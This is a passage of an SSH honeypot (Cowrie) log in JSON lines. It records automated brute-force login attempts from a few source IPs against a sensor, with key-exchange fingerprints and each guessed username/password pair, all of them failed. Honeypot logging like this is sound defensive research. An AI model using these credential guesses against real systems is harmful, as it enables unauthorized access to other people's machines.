tr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:32.753588Z","src_ip":"91.92.42.227","session":"b0092ead6e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:34.025219Z","src_ip":"91.92.42.227","session":"b0092ead6e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:35.109670Z","src_ip":"91.92.42.227","session":"b0092ead6e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34454,"dst_ip":"10.17.0.5","dst_port":22,"session":"293ee5fd35b8","protocol":"ssh","message":"New connection: 45.156.87.147:34454 (10.17.0.5:22) [session: 293ee5fd35b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:35.533518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:35.540669Z","src_ip":"45.156.87.147","session":"293ee5fd35b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:35.621543Z","src_ip":"45.156.87.147","session":"293ee5fd35b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:35.866629Z","src_ip":"45.156.87.147","session":"293ee5fd35b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52034,"dst_ip":"159.203.135.109","dst_port":22,"session":"635b97f31f66","protocol":"ssh","message":"New connection: 80.94.92.184:52034 (159.203.135.109:22) [session: 635b97f31f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:36.942909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:36.947500Z","src_ip":"80.94.92.184","session":"635b97f31f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:36.952388Z","src_ip":"45.156.87.147","session":"293ee5fd35b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:37.113962Z","src_ip":"80.94.92.184","session":"635b97f31f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:38.365267Z","src_ip":"80.94.92.184","session":"635b97f31f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34652,"dst_ip":"10.17.0.5","dst_port":22,"session":"4087e8ec52b2","protocol":"ssh","message":"New connection: 91.92.42.227:34652 (10.17.0.5:22) [session: 4087e8ec52b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:39.237042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:39.416202Z","src_ip":"91.92.42.227","session":"4087e8ec52b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:39.419960Z","src_ip":"91.92.42.227","session":"4087e8ec52b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:39.793925Z","src_ip":"80.94.92.184","session":"635b97f31f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:40.472932Z","src_ip":"91.92.42.227","session":"4087e8ec52b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37526,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a0bcbbcdec","protocol":"ssh","message":"New connection: 45.156.87.147:37526 (10.17.0.5:22) [session: 90a0bcbbcdec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:40.868761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:40.873004Z","src_ip":"45.156.87.147","session":"90a0bcbbcdec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:40.953796Z","src_ip":"45.156.87.147","session":"90a0bcbbcdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:41.211146Z","src_ip":"45.156.87.147","session":"90a0bcbbcdec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:41.908131Z","src_ip":"91.92.42.227","session":"4087e8ec52b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:42.325679Z","src_ip":"45.156.87.147","session":"90a0bcbbcdec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37544,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fe518b05f63","protocol":"ssh","message":"New connection: 45.156.87.147:37544 (10.17.0.5:22) [session: 2fe518b05f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:45.949969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:45.954600Z","src_ip":"45.156.87.147","session":"2fe518b05f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:46.039920Z","src_ip":"45.156.87.147","session":"2fe518b05f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42220,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e61e3bfeaa0","protocol":"ssh","message":"New connection: 91.92.42.227:42220 (10.17.0.5:22) [session: 6e61e3bfeaa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:46.049550Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:46.298144Z","src_ip":"45.156.87.147","session":"2fe518b05f63","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:46.364528Z","src_ip":"91.92.42.227","session":"6e61e3bfeaa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:46.369046Z","src_ip":"91.92.42.227","session":"6e61e3bfeaa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:47.381137Z","src_ip":"45.156.87.147","session":"2fe518b05f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37268,"dst_ip":"10.17.0.5","dst_port":22,"session":"e856c722a0a5","protocol":"ssh","message":"New connection: 27.71.230.31:37268 (10.17.0.5:22) [session: e856c722a0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:48.019660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:48.054105Z","src_ip":"27.71.230.31","session":"e856c722a0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:48.108523Z","src_ip":"91.92.42.227","session":"6e61e3bfeaa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:48.351669Z","src_ip":"27.71.230.31","session":"e856c722a0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:49.875635Z","src_ip":"91.92.42.227","session":"6e61e3bfeaa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53538,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f836f7d5c6","protocol":"ssh","message":"New connection: 45.156.87.147:53538 (10.17.0.5:22) [session: 08f836f7d5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:51.017524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:51.094608Z","src_ip":"45.156.87.147","session":"08f836f7d5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:51.118968Z","src_ip":"45.156.87.147","session":"08f836f7d5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:51.425153Z","src_ip":"45.156.87.147","session":"08f836f7d5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:52.510033Z","src_ip":"45.156.87.147","session":"08f836f7d5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin$","message":"login attempt [root/Admin$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:53.234032Z","src_ip":"27.71.230.31","session":"e856c722a0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42286,"dst_ip":"10.17.0.5","dst_port":22,"session":"1832782080bb","protocol":"ssh","message":"New connection: 91.92.42.227:42286 (10.17.0.5:22) [session: 1832782080bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:53.313142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:53.335089Z","src_ip":"91.92.42.227","session":"1832782080bb","protocol":"ssh"}
